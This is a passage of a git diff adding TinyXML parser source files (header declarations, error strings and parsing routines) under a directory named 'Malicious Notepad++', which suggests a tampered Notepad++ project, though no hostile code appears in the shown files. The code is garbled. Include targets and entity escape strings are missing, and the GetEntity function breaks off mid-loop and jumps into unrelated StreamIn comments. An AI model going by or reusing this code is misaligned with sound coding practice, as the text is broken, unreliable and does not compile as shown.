TIXMLA_STRING* tag ) = 0; + #endif + + // Figure out what is at *p, and parse it. Returns null if it is not an xml node. + TiXmlNodeA* Identify( const char* start ); + void CopyToClone( TiXmlNodeA* target ) const { target->SetValue (value.c_str() ); + target->userData = userData; } + + // Internal Value function returning a TIXMLA_STRING + TIXMLA_STRING SValue() const { return value ; } + + TiXmlNodeA* parent; + NodeType type; + + TiXmlNodeA* firstChild; + TiXmlNodeA* lastChild; + + TIXMLA_STRING value; + + TiXmlNodeA* prev; + TiXmlNodeA* next; + void* userData; +}; + + +/** An attribute is a name-value pair. Elements have an arbitrary + number of attributes, each with a unique name. + + @note The attributes are not TiXmlNodes, since they are not + part of the tinyXML document object model. There are other + suggested ways to look at this problem. +*/ +class TiXmlAttributeA : public TiXmlBaseA +{ + friend class TiXmlAttributeSetA; + +public: + /// Construct an empty attribute. + TiXmlAttributeA() + { + document = 0; + prev = next = 0; + } + + #ifdef TIXMLA_USE_STL + /// std::string constructor. + TiXmlAttributeA( const std::string& _name, const std::string& _value ) + { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } + #endif + + /// Construct an attribute with a name and value. + TiXmlAttributeA( const char * _name, const char * _value ) + { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } + + const char* Name() const { return name.c_str (); } ///< Return the name of this attribute. + const char* Value() const { return value.c_str (); } ///< Return the value of this attribute. + const int IntValue() const; ///< Return the value of this attribute, converted to an integer. + const double DoubleValue() const; ///< Return the value of this attribute, converted to a double. + + /** QueryIntValue examines the value string. It is an alternative to the + IntValue() method with richer error checking. + If the value is an integer, it is stored in 'value' and + the call returns TIXMLA_SUCCESS. If it is not + an integer, it returns TIXMLA_WRONG_TYPE. + + A specialized but useful call. Note that for success it returns 0, + which is the opposite of almost all other TinyXml calls. + */ + int QueryIntValue( int* value ) const; + /// QueryDoubleValue examines the value string. See QueryIntValue(). + int QueryDoubleValue( double* value ) const; + + void SetName( const char* _name ) { name = _name; } ///< Set the name of this attribute. + void SetValue( const char* _value ) { value = _value; } ///< Set the value. + + void SetIntValue( int value ); ///< Set the value from an integer. + void SetDoubleValue( double value ); ///< Set the value from a double. + + #ifdef TIXMLA_USE_STL + /// STL std::string form. + void SetName( const std::string& _name ) + { + StringToBuffer buf( _name ); + SetName ( buf.buffer ? buf.buffer : "error" ); + } + /// STL std::string form. + void SetValue( const std::string& _value ) + { + StringToBuffer buf( _value ); + SetValue( buf.buffer ? buf.buffer : "error" ); + } + #endif + + /// Get the next sibling attribute in the DOM. Returns null at end. + TiXmlAttributeA* Next() const; + /// Get the previous sibling attribute in the DOM. Returns null at beginning. + TiXmlAttributeA* Previous() const; + + bool operator==( const TiXmlAttributeA& rhs ) const { return rhs.name == name; } + bool operator<( const TiXmlAttributeA& rhs ) const { return name < rhs.name; } + bool operator>( const TiXmlAttributeA& rhs ) const { return name > rhs.name; } + + /* [internal use] + Attribtue parsing starts: first letter of the name + returns: the next char after the value end quote + */ + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ); + + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; + + virtual void StreamOut( TIXMLA_OSTREAM * out ) const; + // [internal use] + // Set the document pointer so the attribute can report errors. + void SetDocument( TiXmlDocumentA* doc ) { document = doc; } + +private: + TiXmlDocumentA* document; // A pointer back to a document, for error reporting. + TIXMLA_STRING name; + TIXMLA_STRING value; + TiXmlAttributeA* prev; + TiXmlAttributeA* next; +}; + + +/* A class used to manage a group of attributes. + It is only used internally, both by the ELEMENT and the DECLARATION. + + The set can be changed transparent to the Element and Declaration + classes that use it, but NOT transparent to the Attribute + which has to implement a next() and previous() method. Which makes + it a bit problematic and prevents the use of STL. + + This version is implemented with circular lists because: + - I like circular lists + - it demonstrates some independence from the (typical) doubly linked list. +*/ +class TiXmlAttributeSetA +{ +public: + TiXmlAttributeSetA(); + ~TiXmlAttributeSetA(); + + void Add( TiXmlAttributeA* attribute ); + void Remove( TiXmlAttributeA* attribute ); + + TiXmlAttributeA* First() const { return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; } + TiXmlAttributeA* Last() const { return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; } + TiXmlAttributeA* Find( const char * name ) const; + +private: + TiXmlAttributeA sentinel; +}; + + +/** The element is a container class. It has a value, the element name, + and can contain other elements, text, comments, and unknowns. + Elements also contain an arbitrary number of attributes. +*/ +class TiXmlElementA : public TiXmlNodeA +{ +public: + /// Construct an element. + TiXmlElementA (const char * in_value); + + #ifdef TIXMLA_USE_STL + /// std::string constructor. + TiXmlElementA( const std::string& _value ) : TiXmlNodeA( TiXmlNodeA::ELEMENT ) + { + firstChild = lastChild = 0; + value = _value; + } + #endif + + virtual ~TiXmlElementA(); + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + */ + const char* Attribute( const char* name ) const; + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an integer, + the integer value will be put in the return 'i', if 'i' + is non-null. + */ + const char* Attribute( const char* name, int* i ) const; + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an double, + the double value will be put in the return 'd', if 'd' + is non-null. + */ + const char* Attribute( const char* name, double* d ) const; + + /** QueryIntAttribute examines the attribute - it is an alternative to the + Attribute() method with richer error checking. + If the attribute is an integer, it is stored in 'value' and + the call returns TIXMLA_SUCCESS. If it is not + an integer, it returns TIXMLA_WRONG_TYPE. If the attribute + does not exist, then TIXMLA_NO_ATTRIBUTE is returned. + */ + int QueryIntAttribute( const char* name, int* value ) const; + /// QueryDoubleAttribute examines the attribute - see QueryIntAttribute(). + int QueryDoubleAttribute( const char* name, double* value ) const; + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const char* name, const char * value ); + + #ifdef TIXMLA_USE_STL + const char* Attribute( const std::string& name ) const { return Attribute( name.c_str() ); } + const char* Attribute( const std::string& name, int* i ) const { return Attribute( name.c_str(), i ); } + + /// STL std::string form. + void SetAttribute( const std::string& name, const std::string& _value ) + { + StringToBuffer n( name ); + StringToBuffer v( _value ); + if ( n.buffer && v.buffer ) + SetAttribute (n.buffer, v.buffer ); + } + ///< STL std::string form. + void SetAttribute( const std::string& name, int _value ) + { + StringToBuffer n( name ); + if ( n.buffer ) + SetAttribute (n.buffer, _value); + } + #endif + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const char * name, int value ); + + /** Deletes an attribute with the given name. + */ + void RemoveAttribute( const char * name ); + #ifdef TIXMLA_USE_STL + void RemoveAttribute( const std::string& name ) { RemoveAttribute (name.c_str ()); } ///< STL std::string form. + #endif + + TiXmlAttributeA* FirstAttribute() const { return attributeSet.First(); } ///< Access the first attribute in this element. + TiXmlAttributeA* LastAttribute() const { return attributeSet.Last(); } ///< Access the last attribute in this element. + + // [internal use] Creates a new Element and returs it. + virtual TiXmlNodeA* Clone() const; + // [internal use] + + virtual void Print( FILE* cfile, int depth ) const; + +protected: + + // Used to be public [internal use] + #ifdef TIXMLA_USE_STL + virtual void StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + #endif + virtual void StreamOut( TIXMLA_OSTREAM * out ) const; + + /* [internal use] + Attribtue parsing starts: next char past '<' + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ); + + /* [internal use] + Reads the "value" of the element -- another element, or text. + This should terminate with the current end tag. + */ + const char* ReadValue( const char* in, TiXmlParsingDataA* prevData ); + +private: + TiXmlAttributeSetA attributeSet; +}; + + +/** An XML comment. +*/ +class TiXmlCommentA : public TiXmlNodeA +{ +public: + /// Constructs an empty comment. + TiXmlCommentA() : TiXmlNodeA( TiXmlNodeA::COMMENT ) {} + virtual ~TiXmlCommentA() {} + + // [internal use] Creates a new Element and returs it. + virtual TiXmlNodeA* Clone() const; + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; +protected: + // used to be public + #ifdef TIXMLA_USE_STL + virtual void StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + #endif + virtual void StreamOut( TIXMLA_OSTREAM * out ) const; + /* [internal use] + Attribtue parsing starts: at the ! of the !-- + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ); +}; + + +/** XML text. Contained in an element. +*/ +class TiXmlTextA : public TiXmlNodeA +{ + friend class TiXmlElementA; +public: + /// Constructor. + TiXmlTextA (const char * initValue) : TiXmlNodeA (TiXmlNodeA::TEXT) + { + SetValue( initValue ); + } + virtual ~TiXmlTextA() {} + + #ifdef TIXMLA_USE_STL + /// Constructor. + TiXmlTextA( const std::string& initValue ) : TiXmlNodeA (TiXmlNodeA::TEXT) + { + SetValue( initValue ); + } + #endif + + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; + +protected : + // [internal use] Creates a new Element and returns it. + virtual TiXmlNodeA* Clone() const; + virtual void StreamOut ( TIXMLA_OSTREAM * out ) const; + // [internal use] + bool Blank() const; // returns true if all white space and new lines + /* [internal use] + Attribtue parsing starts: First char of the text + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ); + // [internal use] + #ifdef TIXMLA_USE_STL + virtual void StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + #endif +}; + + +/** In correct XML the declaration is the first entry in the file. + @verbatim + + @endverbatim + + TinyXml will happily read or write files without a declaration, + however. There are 3 possible attributes to the declaration: + version, encoding, and standalone. + + Note: In this version of the code, the attributes are + handled as special cases, not generic attributes, simply + because there can only be at most 3 and they are always the same. +*/ +class TiXmlDeclarationA : public TiXmlNodeA +{ +public: + /// Construct an empty declaration. + TiXmlDeclarationA() : TiXmlNodeA( TiXmlNodeA::DECLARATION ) {} + +#ifdef TIXMLA_USE_STL + /// Constructor. + TiXmlDeclarationA( const std::string& _version, + const std::string& _encoding, + const std::string& _standalone ) + : TiXmlNodeA( TiXmlNodeA::DECLARATION ) + { + version = _version; + encoding = _encoding; + standalone = _standalone; + } +#endif + + /// Construct. + TiXmlDeclarationA( const char* _version, + const char* _encoding, + const char* _standalone ); + + virtual ~TiXmlDeclarationA() {} + + /// Version. Will return empty if none was found. + const char * Version() const { return version.c_str (); } + /// Encoding. Will return empty if none was found. + const char * Encoding() const { return encoding.c_str (); } + /// Is this a standalone document? + const char * Standalone() const { return standalone.c_str (); } + + // [internal use] Creates a new Element and returs it. + virtual TiXmlNodeA* Clone() const; + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; + +protected: + // used to be public + #ifdef TIXMLA_USE_STL + virtual void StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + #endif + virtual void StreamOut ( TIXMLA_OSTREAM * out) const; + // [internal use] + // Attribtue parsing starts: next char past '<' + // returns: next char past '>' + + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ); + +private: + TIXMLA_STRING version; + TIXMLA_STRING encoding; + TIXMLA_STRING standalone; +}; + + +/** Any tag that tinyXml doesn't recognize is saved as an + unknown. It is a tag of text, but should not be modified. + It will be written back to the XML, unchanged, when the file + is saved. +*/ +class TiXmlUnknownA : public TiXmlNodeA +{ +public: + TiXmlUnknownA() : TiXmlNodeA( TiXmlNodeA::UNKNOWN ) {} + virtual ~TiXmlUnknownA() {} + + // [internal use] + virtual TiXmlNodeA* Clone() const; + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; +protected: + #ifdef TIXMLA_USE_STL + virtual void StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + #endif + virtual void StreamOut ( TIXMLA_OSTREAM * out ) const; + /* [internal use] + Attribute parsing starts: First char of the text + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ); +}; + + +/** Always the top level node. A document binds together all the + XML pieces. It can be saved, loaded, and printed to the screen. + The 'value' of a document node is the xml file name. +*/ +class TiXmlDocumentA : public TiXmlNodeA +{ +public: + /// Create an empty document, that has no name. + TiXmlDocumentA(); + /// Create a document with a name. The name of the document is also the filename of the xml. + TiXmlDocumentA( const char * documentName ); + + #ifdef TIXMLA_USE_STL + /// Constructor. + TiXmlDocumentA( const std::string& documentName ) : + TiXmlNodeA( TiXmlNodeA::DOCUMENT ) + { + value = documentName; + error = false; + } + #endif + + virtual ~TiXmlDocumentA() {} + + /** Load a file using the current document value. + Returns true if successful. Will delete any existing + document data before loading. + */ + bool LoadFile(); + /// Save a file using the current document value. Returns true if successful. + bool SaveFile() const; + /// Load a file using the given filename. Returns true if successful. + bool LoadFile( const char * filename ); + /// Save a file using the given filename. Returns true if successful. + bool SaveFile( const char * filename ) const; + + /// Load and Save a file using the given unicode filename. Returns true if successful. + bool LoadUnicodeFilePath( const TCHAR* filename ); + bool SaveUnicodeFilePath( const TCHAR* filename ) const; + + #ifdef TIXMLA_USE_STL + bool LoadFile( const std::string& filename ) ///< STL std::string version. + { + StringToBuffer f( filename ); + return ( f.buffer && LoadFile( f.buffer )); + } + bool SaveFile( const std::string& filename ) const ///< STL std::string version. + { + StringToBuffer f( filename ); + return ( f.buffer && SaveFile( f.buffer )); + } + #endif + + /** Parse the given null terminated block of xml data. + */ + virtual const char* Parse( const char* p, TiXmlParsingDataA* data = 0 ); + + /** Get the root element -- the only top level element -- of the document. + In well formed XML, there should only be one. TinyXml is tolerant of + multiple elements at the document level. + */ + TiXmlElementA* RootElement() const { return FirstChildElement(); } + + /** If an error occurs, Error will be set to true. Also, + - The ErrorId() will contain the integer identifier of the error (not generally useful) + - The ErrorDesc() method will return the name of the error. (very useful) + - The ErrorRow() and ErrorCol() will return the location of the error (if known) + */ + bool Error() const { return error; } + + /// Contains a textual (english) description of the error if one occurs. + const char * ErrorDesc() const { return errorDesc.c_str (); } + + /** Generally, you probably want the error string ( ErrorDesc() ). But if you + prefer the ErrorId, this function will fetch it. + */ + const int ErrorId() const { return errorId; } + + /** Returns the location (if known) of the error. The first column is column 1, + and the first row is row 1. A value of 0 means the row and column wasn't applicable + (memory errors, for example, have no row/column) or the parser lost the error. (An + error in the error reporting, in that case.) + + @sa SetTabSize, Row, Column + */ + int ErrorRow() { return errorLocation.row+1; } + int ErrorCol() { return errorLocation.col+1; } ///< The column where the error occured. See ErrorRow() + + /** By calling this method, with a tab size + greater than 0, the row and column of each node and attribute is stored + when the file is loaded. Very useful for tracking the DOM back in to + the source file. + + The tab size is required for calculating the location of nodes. If not + set, the default of 4 is used. The tabsize is set per document. Setting + the tabsize to 0 disables row/column tracking. + + Note that row and column tracking is not supported when using operator>>. + + The tab size needs to be enabled before the parse or load. Correct usage: + @verbatim + TiXmlDocumentA doc; + doc.SetTabSize( 8 ); + doc.Load( "myfile.xml" ); + @endverbatim + + @sa Row, Column + */ + void SetTabSize( int _tabsize ) { tabsize = _tabsize; } + + int TabSize() const { return tabsize; } + + /** If you have handled the error, it can be reset with this call. The error + state is automatically cleared if you Parse a new XML block. + */ + void ClearError() { error = false; + errorId = 0; + errorDesc = ""; + errorLocation.row = errorLocation.col = 0; + //errorLocation.last = 0; + } + + /** Dump the document to standard out. */ + void Print() const { Print( stdout, 0 ); } + + // [internal use] + virtual void Print( FILE* cfile, int depth = 0 ) const; + // [internal use] + void SetError( int err, const char* errorLocation, TiXmlParsingDataA* prevData ); + +protected : + virtual void StreamOut ( TIXMLA_OSTREAM * out) const; + // [internal use] + virtual TiXmlNodeA* Clone() const; + #ifdef TIXMLA_USE_STL + virtual void StreamIn( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + #endif + +private: + bool error; + int errorId; + TIXMLA_STRING errorDesc; + int tabsize; + TiXmlCursorA errorLocation; +}; + + +/** + A TiXmlHandleA is a class that wraps a node pointer with null checks; this is + an incredibly useful thing. Note that TiXmlHandleA is not part of the TinyXml + DOM structure. It is a separate utility class. + + Take an example: + @verbatim + + + + + + + @endverbatim + + Assuming you want the value of "attributeB" in the 2nd "Child" element, it's very + easy to write a *lot* of code that looks like: + + @verbatim + TiXmlElementA* root = document.FirstChildElement( "Document" ); + if ( root ) + { + TiXmlElementA* element = root->FirstChildElement( "Element" ); + if ( element ) + { + TiXmlElementA* child = element->FirstChildElement( "Child" ); + if ( child ) + { + TiXmlElementA* child2 = child->NextSiblingElement( "Child" ); + if ( child2 ) + { + // Finally do something useful. + @endverbatim + + And that doesn't even cover "else" cases. TiXmlHandleA addresses the verbosity + of such code. A TiXmlHandleA checks for null pointers so it is perfectly safe + and correct to use: + + @verbatim + TiXmlHandleA docHandle( &document ); + TiXmlElementA* child2 = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).Child( "Child", 1 ).Element(); + if ( child2 ) + { + // do something useful + @endverbatim + + Which is MUCH more concise and useful. + + It is also safe to copy handles - internally they are nothing more than node pointers. + @verbatim + TiXmlHandleA handleCopy = handle; + @endverbatim + + What they should not be used for is iteration: + + @verbatim + int i=0; + while ( true ) + { + TiXmlElementA* child = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).Child( "Child", i ).Element(); + if ( !child ) + break; + // do something + ++i; + } + @endverbatim + + It seems reasonable, but it is in fact two embedded while loops. The Child method is + a linear walk to find the element, so this code would iterate much more than it needs + to. Instead, prefer: + + @verbatim + TiXmlElementA* child = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).FirstChild( "Child" ).Element(); + + for( child; child; child=child->NextSiblingElement() ) + { + // do something + } + @endverbatim +*/ +class TiXmlHandleA +{ +public: + /// Create a handle from any node (at any depth of the tree.) This can be a null pointer. + TiXmlHandleA( TiXmlNodeA* node ) { this->node = node; } + /// Copy constructor + TiXmlHandleA( const TiXmlHandleA& ref ) { this->node = ref.node; } + + /// Return a handle to the first child node. + TiXmlHandleA FirstChild() const; + /// Return a handle to the first child node with the given name. + TiXmlHandleA FirstChild( const char * value ) const; + /// Return a handle to the first child element. + TiXmlHandleA FirstChildElement() const; + /// Return a handle to the first child element with the given name. + TiXmlHandleA FirstChildElement( const char * value ) const; + + /** Return a handle to the "index" child with the given name. + The first child is 0, the second 1, etc. + */ + TiXmlHandleA Child( const char* value, int index ) const; + /** Return a handle to the "index" child. + The first child is 0, the second 1, etc. + */ + TiXmlHandleA Child( int index ) const; + /** Return a handle to the "index" child element with the given name. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandleA ChildElement( const char* value, int index ) const; + /** Return a handle to the "index" child element. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandleA ChildElement( int index ) const; + + #ifdef TIXMLA_USE_STL + TiXmlHandleA FirstChild( const std::string& _value ) const { return FirstChild( _value.c_str() ); } + TiXmlHandleA FirstChildElement( const std::string& _value ) const { return FirstChildElement( _value.c_str() ); } + + TiXmlHandleA Child( const std::string& _value, int index ) const { return Child( _value.c_str(), index ); } + TiXmlHandleA ChildElement( const std::string& _value, int index ) const { return ChildElement( _value.c_str(), index ); } + #endif + + /// Return the handle as a TiXmlNodeA. This may return null. + TiXmlNodeA* Node() const { return node; } + /// Return the handle as a TiXmlElementA. This may return null. + TiXmlElementA* Element() const { return ( ( node && node->ToElement() ) ? node->ToElement() : 0 ); } + /// Return the handle as a TiXmlTextA. This may return null. + TiXmlTextA* Text() const { return ( ( node && node->ToText() ) ? node->ToText() : 0 ); } + +private: + TiXmlNodeA* node; +}; + +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + +#endif + diff --git a/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlerrorA.cpp b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlerrorA.cpp new file mode 100644 index 0000000..5130266 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlerrorA.cpp @@ -0,0 +1,51 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#include "tinyxmlA.h" + +// The goal of the seperate error file is to make the first +// step towards localization. tinyxml (currently) only supports +// latin-1, but at least the error messages could now be translated. +// +// It also cleans up the code a bit. +// + +const char* TiXmlBaseA::errorString[ TIXMLA_ERROR_STRING_COUNT ] = +{ + "No error", + "Error", + "Failed to open file", + "Memory allocation failed.", + "Error parsing Element.", + "Failed to read Element name", + "Error reading Element value.", + "Error reading Attributes.", + "Error: empty tag.", + "Error reading end tag.", + "Error parsing Unknown.", + "Error parsing Comment.", + "Error parsing Declaration.", + "Error document empty." +}; diff --git a/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlparserA.cpp b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlparserA.cpp new file mode 100644 index 0000000..4d11176 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlparserA.cpp @@ -0,0 +1,1162 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#include +#include "tinyxmlA.h" + +//#define DEBUG_PARSER + +// Note tha "PutString" hardcodes the same list. This +// is less flexible than it appears. Changing the entries +// or order will break putstring. +TiXmlBaseA::Entity TiXmlBaseA::entity[ NUM_ENTITY ] = +{ + { "&", 5, '&' }, + { "<", 4, '<' }, + { ">", 4, '>' }, + { """, 6, '\"' }, + { "'", 6, '\'' } +}; + + +class TiXmlParsingDataA +{ + friend class TiXmlDocumentA; + public: + //TiXmlParsingDataA( const char* now, const TiXmlParsingDataA* prevData ); + void Stamp( const char* now ); + + const TiXmlCursorA& Cursor() { return cursor; } + //void Update( const char* now ); + + private: + // Only used by the document! + TiXmlParsingDataA( const char* start, int _tabsize, int row, int col ) + { + assert( start ); + stamp = start; + tabsize = _tabsize; + cursor.row = row; + cursor.col = col; + } + + TiXmlCursorA cursor; + const char* stamp; + int tabsize; +}; + + +void TiXmlParsingDataA::Stamp( const char* now ) +{ + assert( now ); + + // Do nothing if the tabsize is 0. + if ( tabsize < 1 ) + { + return; + } + + // Get the current row, column. + int row = cursor.row; + int col = cursor.col; + const char* p = stamp; + assert( p ); + + while ( p < now ) + { + // Code contributed by Fletcher Dunn: (modified by lee) + switch (*p) { + case 0: + // We *should* never get here, but in case we do, don't + // advance past the terminating null character, ever + return; + + case '\r': + // bump down to the next line + ++row; + col = 0; + // Eat the character + ++p; + + // Check for \r\n sequence, and treat this as a single character + if (*p == '\n') { + ++p; + } + break; + + case '\n': + // bump down to the next line + ++row; + col = 0; + + // Eat the character + ++p; + + // Check for \n\r sequence, and treat this as a single + // character. (Yes, this bizarre thing does occur still + // on some arcane platforms...) + if (*p == '\r') { + ++p; + } + break; + + case '\t': + // Eat the character + ++p; + + // Skip to next tab stop + col = (col / tabsize + 1) * tabsize; + break; + + default: + // Eat the character + ++p; + + // Normal char - just advance one column + ++col; + break; + } + } + cursor.row = row; + cursor.col = col; + assert( cursor.row >= -1 ); + assert( cursor.col >= -1 ); + stamp = p; + assert( stamp ); +} + + +const char* TiXmlBaseA::SkipWhiteSpace( const char* p ) +{ + if ( !p || !*p ) + { + return 0; + } + while ( p && *p ) + { + if ( isspace( *p ) || *p == '\n' || *p =='\r' ) // Still using old rules for white space. + ++p; + else + break; + } + + return p; +} + +#ifdef TIXMLA_USE_STL +/*static*/ bool TiXmlBaseA::StreamWhiteSpace( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ) +{ + for( ;; ) + { + if ( !in->good() ) return false; + + int c = in->peek(); + if ( !IsWhiteSpace( c ) ) + return true; + *tag += static_cast(in->get()); + } +} + +/*static*/ bool TiXmlBaseA::StreamTo( TIXMLA_ISTREAM * in, int character, TIXMLA_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->peek(); + if ( c == character ) + return true; + + in->get(); + *tag += static_cast(c); + } + return false; +} +#endif + +const char* TiXmlBaseA::ReadName( const char* p, TIXMLA_STRING * name ) +{ + *name = ""; + assert( p ); + + // Names start with letters or underscores. + // After that, they can be letters, underscores, numbers, + // hyphens, or colons. (Colons are valid ony for namespaces, + // but tinyxml can't tell namespaces from names.) + if ( p && *p + && (isalpha(static_cast(*p)) || *p == '_')) + { + while( p && *p + && ( isalnum( (unsigned char ) *p ) + || *p == '_' + || *p == '-' + || *p == '.' + || *p == ':' ) ) + { + (*name) += *p; + ++p; + } + return p; + } + return 0; +} + +const char* TiXmlBaseA::GetEntity( const char* p, char* value ) +{ + // Presume an entity, and pull it out. + TIXMLA_STRING ent; + int i; + + // Handle the &#x entities. + if ( strncmp( "&#x", p, 3 ) == 0 + && *(p+3) + && *(p+4) + && ( *(p+4) == ';' || *(p+5) == ';' ) + ) + { + *value = 0; + + if ( *(p+4) == ';' ) + { + // Short, one value entity. + if ( isalpha( *(p+3) ) ) + *value += (static_cast(tolower(*(p + 3))) - 'a' + 10); + else + *value += (static_cast(*(p + 3)) - '0'); + + return p+5; + } + else + { + // two value entity + if (isalpha(*(p + 3))) *value += (static_cast(tolower(*(p + 3))) - 'a' + 10) * 16; + else *value += (static_cast(*(p + 3)) - '0') * 16; + + if ( isalpha( *(p+4) ) ) + *value += (static_cast(tolower(*(p + 4))) - 'a' + 10); + else + *value += (static_cast(*(p + 4)) - '0'); + + return p+6; + } + } + + // Now try to match it. + for( i=0; i" so the + // sub-tag can orient itself. + + if ( !StreamTo( in, '<', tag ) ) + { + SetError( TIXMLA_ERROR_PARSING_EMPTY, 0, 0 ); + return; + } + + while ( in->good() ) + { + size_t tagIndex = tag->length(); + while ( in->good() && in->peek() != '>' ) + { + int c = in->get(); + (*tag) += static_cast(c); + } + + if ( in->good() ) + { + // We now have something we presume to be a node of + // some sort. Identify it, and call the node to + // continue streaming. + TiXmlNodeA* node = Identify( tag->c_str() + tagIndex ); + + if ( node ) + { + node->StreamIn( in, tag ); + bool isElement = node->ToElement() != 0; + delete node; + node = 0; + + // If this is the root element, we're done. Parsing will be + // done by the >> operator. + if ( isElement ) + { + return; + } + } + else + { + SetError( TIXMLA_ERROR, 0, 0 ); + return; + } + } + } + // We should have returned sooner. + SetError( TIXMLA_ERROR, 0, 0 ); +} + +#endif + +const char* TiXmlDocumentA::Parse( const char* p, TiXmlParsingDataA* prevData ) +{ + ClearError(); + + // Parse away, at the document level. Since a document + // contains nothing but other tags, most of what happens + // here is skipping white space. + if ( !p || !*p ) + { + SetError( TIXMLA_ERROR_DOCUMENT_EMPTY, 0, 0 ); + return 0; + } + + // Note that, for a document, this needs to come + // before the while space skip, so that parsing + // starts from the pointer we are given. + location.Clear(); + if ( prevData ) + { + location.row = prevData->cursor.row; + location.col = prevData->cursor.col; + } + else + { + location.row = 0; + location.col = 0; + } + TiXmlParsingDataA data( p, TabSize(), location.row, location.col ); + location = data.Cursor(); + + p = SkipWhiteSpace( p ); + if ( !p ) + { + SetError( TIXMLA_ERROR_DOCUMENT_EMPTY, 0, 0 ); + return 0; + } + + while ( p && *p ) + { + TiXmlNodeA* node = Identify( p ); + if ( node ) + { + p = node->Parse( p, &data ); + LinkEndChild( node ); + } + else + { + break; + } + p = SkipWhiteSpace( p ); + } + + // All is well. + return p; +} + +void TiXmlDocumentA::SetError( int err, const char* pError, TiXmlParsingDataA* data ) +{ + // The first error in a chain is more accurate - don't set again! + if ( error ) + return; + + assert( err > 0 && err < TIXMLA_ERROR_STRING_COUNT ); + error = true; + errorId = err; + errorDesc = errorString[ errorId ]; + + errorLocation.Clear(); + if ( pError && data ) + { + //TiXmlParsingDataA data( pError, prevData ); + data->Stamp( pError ); + errorLocation = data->Cursor(); + } +} + + +TiXmlNodeA* TiXmlNodeA::Identify( const char* p ) +{ + TiXmlNodeA* returnNode = 0; + + p = SkipWhiteSpace( p ); + if( !p || !*p || *p != '<' ) + { + return 0; + } + + TiXmlDocumentA* doc = GetDocument(); + p = SkipWhiteSpace( p ); + + if ( !p || !*p ) + { + return 0; + } + + // What is this thing? + // - Elements start with a letter or underscore, but xml is reserved. + // - Comments: "; + + if ( !StringEqual( p, startTag, false ) ) + { + document->SetError( TIXMLA_ERROR_PARSING_COMMENT, p, data ); + return 0; + } + p += strlen( startTag ); + p = ReadText( p, &value, false, endTag, false ); + return p; +} + + +const char* TiXmlAttributeA::Parse( const char* p, TiXmlParsingDataA* data ) +{ + p = SkipWhiteSpace( p ); + if ( !p || !*p ) return 0; + + int tabsize = 4; + if ( document ) + tabsize = document->TabSize(); + +// TiXmlParsingDataA data( p, prevData ); + if ( data ) + { + data->Stamp( p ); + location = data->Cursor(); + } + // Read the name, the '=' and the value. + const char* pErr = p; + p = ReadName( p, &name ); + if ( !p || !*p ) + { + if ( document ) document->SetError( TIXMLA_ERROR_READING_ATTRIBUTES, pErr, data ); + return 0; + } + p = SkipWhiteSpace( p ); + if ( !p || !*p || *p != '=' ) + { + if ( document ) document->SetError( 